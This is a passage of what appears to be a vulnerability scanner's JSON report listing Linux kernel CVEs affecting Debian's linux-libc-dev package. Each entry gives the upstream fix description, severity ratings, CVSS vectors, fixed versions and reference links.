"CVE-2026-98171", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98171", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e6cfa4a7b7712dea0f819f909f35450a21a0197ab76eab1ab073c743793ce99d", "Title": "kernel: kernel: Use-after-free in SMB client via malformed compound encrypted frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix next_buffer UAF and NextCommand bounds in compound PDUs\n\nFix several related bounds checking and pointer lifecycle issues in\nreceive_encrypted_standard()'s handling of compound encrypted frames:\n\n- Clear next_buffer after assigning it to server-\u003ebigbuf. A stale\n next_buffer pointer can lead to a use-after-free on subsequent\n error paths.\n- Update pdu_length to the decrypted plaintext size (buf_size). Using\n the pre-decryption length allows NextCommand to point into stale\n ciphertext residue.\n- Reject next_cmd values smaller than MID_HEADER_SIZE(server).\n- Fix an integer overflow in the upper bound check by verifying\n pdu_length - next_cmd \u003c MID_HEADER_SIZE(server), ensuring the\n trailing slice is large enough for a header.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98171", "https://access.redhat.com/security/cve/CVE-2026-98171", "https://git.kernel.org/linus/05762c5bc1cfdcac36747994fde2c04387a457f1%20%287.3-rc4%29", "https://git.kernel.org/stable/c/05762c5bc1cfdcac36747994fde2c04387a457f1", "https://git.kernel.org/stable/c/1ed29f7a03417b405f38c09cfe04124883127b53", "https://git.kernel.org/stable/c/491e33144dee872cffda207f6fcb09260728f803", "https://git.kernel.org/stable/c/72eaef1f37a3b6bec11c342736834dc3707be3e4", "https://git.kernel.org/stable/c/7f022867ec9f0166a0b4400385bb601b1c6b2c75", "https://git.kernel.org/stable/c/858d5ac22cb889266993e7670f9f0c4f4aeedd78", "https://git.kernel.org/stable/c/8749946579708ea0d339034bb7f423a67dbe89cf", "https://git.kernel.org/stable/c/96c436e4b010711452b2872558938f4ef276492a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-cj2lcl1suuik.toml", "https://linux.oracle.com/cve/CVE-2026-98171.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98171", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98171" ], "PublishedDate": "2026-10-06T09:17:58.773Z", "LastModifiedDate": "2026-10-30T13:21:11.36Z" }, { "VulnerabilityID": "CVE-2026-98222", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98222", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:96bc6aa934feefed5df442878f659ddb13a398e57fdc396e5bda2973e973f4d0", "Title": "kernel: KEYS: encrypted: fix integer overflow of datablob_len", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKEYS: encrypted: fix integer overflow of datablob_len\n\nencrypted_key_alloc() stores datablob_len in a u16. It is computed from\nmultiple string and payload lengths. If the result exceeds U16_MAX, the\nassignment truncates the allocation size. KASAN reports a 32760-byte\nslab-out-of-bounds write when __ekey_init() copies the master key\ndescription into the undersized buffer.\n\nThe total payload length stored in key-\u003edatalen is also a u16. Use\ncheck_add_overflow() to reject values that do not fit either destination,\nand use kzalloc_flex() for the flexible-array allocation.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-98222", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/8697c431e297eb0d0ab13dda6bc172b48a34f05c%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98222.mbox", "https://git.kernel.org/stable/c/1e720f63dbafc093a8f5d519f05b67724993edd4", "https://git.kernel.org/stable/c/8697c431e297eb0d0ab13dda6bc172b48a34f05c", "https://git.kernel.org/stable/c/a1a98eca102b1cbbc37ff9eaa197ae4e6a3ea4b0", "https://git.kernel.org/stable/c/cca38f2102a4cd35eda8d48950df4817b4b24757", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ew3mgctwwwru.toml", "https://linux.oracle.com/cve/CVE-2026-98222.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98222", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98222" ], "PublishedDate": "2026-10-06T09:18:09.153Z", "LastModifiedDate": "2026-10-19T10:18:22.967Z" }, { "VulnerabilityID": "CVE-2026-98260", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98260", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b142bc3de901255a44f696ab40a6d1d4314dee07fca471d346371bb95b1193a1", "Title": "kernel: exec: Cleanup POSIX timers right after de_thread()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nexec: Cleanup POSIX timers right after de_thread()\n\nA per-thread CPU timer holds a reference to the PID of the thread it is\nattached to and, while it is armed, its node is queued in that thread's\nposix_cputimers. The task is looked up by that PID.\n\nWhen a non-leader thread exec()s, de_thread() changes which task owns\nthat PID. pid_task(timer-\u003eit.cpu.pid, PIDTYPE_PID) then returns NULL,\nbut the node is still queued on tsk, which is alive. timer_lock_sighand()\ntakes a failed lookup to mean that the node is already dequeued, so it\nhas nothing to undo.\n\nbegin_new_exec() calls posix_cpu_timers_exit(me) right after\nexec_task_namespaces() and that removes the leftover node, so the state\nnormally stays invisible. But bprm-\u003epoint_of_no_return is set before\nde_thread(), so if unshare_files(), set_mm_exe_file(), exec_mmap() or\nexec_task_namespaces() fails, the task dies before it gets there.\nexit_itimers() then frees the k_itimer while its node is still queued,\nand reaping tsk later erases that freed node from the rbtree.\n\nIn short:\n\n the non-leader thread B the parent\n\n timer_create(CLOCK_THREAD_CPUTIME_ID)\n timer_settime()\n arm_timer() // the node is queued on B\n execve()\n de_thread(B)\n exchange_tids(B, leader) // B's PID now belongs to the leader\n release_task(leader)\n __exit_signal(leader)\n posix_cpu_timers_exit(leader) // cleans leader's queue, not B's\n __unhash_process(leader) // that PID has no task anymore\n exec_mmap()\n mmap_read_lock_killable(old_mm)\n kill(B, SIGKILL)\n // -EINTR\n get_signal()\n do_exit()\n exit_itimers()\n posix_timer_delete()\n posix_cpu_timer_del()\n posix_timer_unhash_and_free() // freed while still queued\n wait4()\n release_task(B)\n posix_cpu_timers_exit(B)\n cleanup_timerqueue()\n timerqueue_del() // use-after-free\n\nMove the POSIX timer cleanup right after de_thread() before any of the\nlater failure conditions brings the task into do_exit().\n\n[ tglx: Move the cleanup right after de_thread() ]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-98260", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/acb03d3881818581052924a9bbbe92b8741ed448%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98260.mbox", "https://git.kernel.org/stable/c/6f1977cea3e85cd8ab55fb337d3e1725fe61d1ce", "https://git.kernel.org/stable/c/75aa08b93c65766040f9ca99f41ac85ad22596b6", "https://git.kernel.org/stable/c/acb03d3881818581052924a9bbbe92b8741ed448", "https://git.kernel.org/stable/c/d602877baf36c43c788a5f472c977e0be414029f", "https://git.kernel.org/stable/c/d9ae467e617ca29b825493a362bf0d75ad5f4ac3", "https://git.kernel.org/stable/c/f6c93e8ecaaf12959b7ef6eb611351001db2ff5d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-lzl5fzauyucz.toml", "https://linux.oracle.com/cve/CVE-2026-98260.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98260", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98260" ], "PublishedDate": "2026-10-06T09:18:15.04Z", "LastModifiedDate": "2026-10-30T13:21:12.32Z" }, { "VulnerabilityID": "CVE-2026-98275", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98275", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:603c294c8be28327890568f57f417d02f9223495b677095695d957c7d4e99340", "Title": "kernel: kernel: Denial of Service via improper interrupt acknowledgment in Cortina Ethernet driver", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ethernet: cortina: Ack RX overrun interrupt correctly\n\nThe RX overrun interrupt is reported in interrupt status register 4, but\ngmac_irq() acknowledges it using the RX descriptor error bit from status\nregister 0. For GMAC0 this writes the GMAC1 overrun bit, while for GMAC1\nthe shift leaves no bit in the 32-bit register.\n\nAcknowledge the same per-port RX overrun bit that was detected.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98275", "https://git.kernel.org/linus/1dd85662fee6e2ac580b1c4f9a0c0a7ae6e31f0e%20%287.3-rc4%29", "https://git.kernel.org/stable/c/1163cc82dcbc145f912bf2106ab668762f53e483", "https://git.kernel.org/stable/c/12a0c7bb448c1899ea3d8f97fa47a8740044e16d", "https://git.kernel.org/stable/c/1dd85662fee6e2ac580b1c4f9a0c0a7ae6e31f0e", "https://git.kernel.org/stable/c/2f23fa11fef9b4a93335894379d82238f0a28228", "https://git.kernel.org/stable/c/472493d1d3334d104b9873abc1c2d80ed3b144f3", "https://git.kernel.org/stable/c/4f33e036e827f368cdb10bcb15ad098448aca0f5", "https://git.kernel.org/stable/c/d4bd670454390aab72ab9fb7b73bce2966c33fe3", "https://git.kernel.org/stable/c/d72d87926ca33c6766dc73ace46859d7220a45bb", "https://nvd.nist.gov/vuln/detail/CVE-2026-98275", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98275" ], "PublishedDate": "2026-10-06T09:18:17.203Z", "LastModifiedDate": "2026-10-19T10:18:28.843Z" }, { "VulnerabilityID": "CVE-2026-98323", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98323", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7c94ac9046bd6e3b68f5ed86b4377828efe8db3d49fd41cdee63a7f365a530a4", "Title": "kernel: RDMA/siw: Bound fragmented header copies by the remaining length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: Bound fragmented header copies by the remaining length\n\nsiw_get_hdr() can receive an extended DDP/RDMAP header across more than\none TCP callback. The first callback may receive most of the header,\nwhile the next one still limits the copy to hdrlen - MIN_DDP_HDR instead\nof the number of missing bytes. This makes the destination move past the\nend of the header and overwrite the receive state, including\nfpdu_part_rcvd. A later callback can then use a negative fpdu_part_rcvd\nvalue as a copy offset, which creates an OOB write.\n\nUse the number of header bytes already received when calculating the\nnext copy length.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98323", "https://git.kernel.org/linus/9ff797e516dbc1ecb73701ec4c24055712d44411%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98323.mbox", "https://git.kernel.org/stable/c/262dcd809723723ed8a4e05437ec7e9c21a8f17e", "https://git.kernel.org/stable/c/2c6fbcf4bfac0b2b186acc8d91154c0fa24468a7", "https://git.kernel.org/stable/c/8628f8ebf41669302513fb3f0bf0eba38b226742", "https://git.kernel.org/stable/c/9ff797e516dbc1ecb73701ec4c24055712d44411", "https://git.kernel.org/stable/c/af9f5b474a260ad23ffb9793d716a5e3bbce3b48", "https://git.kernel.org/stable/c/b72dcfb9bf1f0f0147cda03dc59e4002a315067f", "https://git.kernel.org/stable/c/e6bdfdf3bcb02d0d626a45e8c98b7e63d2fddf9d", "https://git.kernel.org/stable/c/eb4d7a946970469b3ab0c762432bf161d5b0836c", "https://nvd.nist.gov/vuln/detail/CVE-2026-98323", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98323" ], "PublishedDate": "2026-10-06T09:18:24.403Z", "LastModifiedDate": "2026-10-19T10:18:34.457Z" }, { "VulnerabilityID": "CVE-2026-98364", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98364", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:53f4562c47e24f78190058bacf02e69ee9fb7c54b0074b2e64c6db758bdc8fd6", "Title": "kernel: xfrm: hold net_device reference under RCU in bundle creation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: hold net_device reference under RCU in bundle creation\n\nxfrm_bundle_create() and xfrm_create_dummy_bundle() read dst-\u003edev into\na local pointer without taking a device reference, then pass it to\nxfrm_fill_dst(). A concurrent RTM_DELLINK replaces dst-\u003edev via\ndst_dev_put() and frees the old net_device, causing a use-after-free\nwhen xfrm6_fill_dst() later dereferences the stale dev pointer.\n\n BUG: KASAN: slab-use-after-free in xfrm6_fill_dst+0x82c/0x860\n (net/ipv6/xfrm6_policy.c:86 netdev_hold())\n Read of size 8 at addr ffff8880142fe588 by task exploit/153\n Call Trace:\n xfrm6_fill_dst+0x82c/0x860\n xfrm_resolve_and_create_bundle+0x21d4/0x2bd0\n xfrm_lookup_with_ifid+0x485/0x1640\n ip6_dst_lookup_flow+0x19b/0x1e0\n udpv6_sendmsg+0x1443/0x2dd0\n\nFix this by reading dst-\u003edev via dst_dev_rcu() and keeping the RCU\nread-side critical section active until xfrm_fill_dst() has taken the\nrequired device references.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/9fa903b24b1f46b4ff5443bcd4aca23e5c57f9c1%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98364.mbox", "https://git.kernel.org/stable/c/8d85d6bc9c46dc41cb2be0eac53f8ab068c3a807", "https://git.kernel.org/stable/c/9fa903b24b1f46b4ff5443bcd4aca23e5c57f9c1", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-yqaindjkanr5.toml", "https://linux.oracle.com/cve/CVE-2026-98364.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98364", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98364" ], "PublishedDate": "2026-10-06T09:18:30.547Z", "LastModifiedDate": "2026-10-19T10:18:39.29Z" }, { "VulnerabilityID": "CVE-2026-98378", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98378", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:18667627cf95ee6f41d9c2c7dcfc1ac030734fad013f8b722eb44553c63dd781", "Title": "kernel: bpf: Skip unsettled links in link iterator", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Skip unsettled links in link iterator\n\nbpf_link_prime() inserts a link into link_idr before anon_inode_getfile()\nsucceeds and before bpf_link_settle() publishes the ID in link-\u003eid.\nbpf_link_by_id() treats such an ID-zero link as unsettled, but the link\niterator takes a reference without this check.\n\nIf anon_inode_getfile() then fails, the creator removes the ID and frees\nits still-private link directly. The iterator is left with a dangling\nreference and its next bpf_link_put() accesses freed memory.\n\nTreat 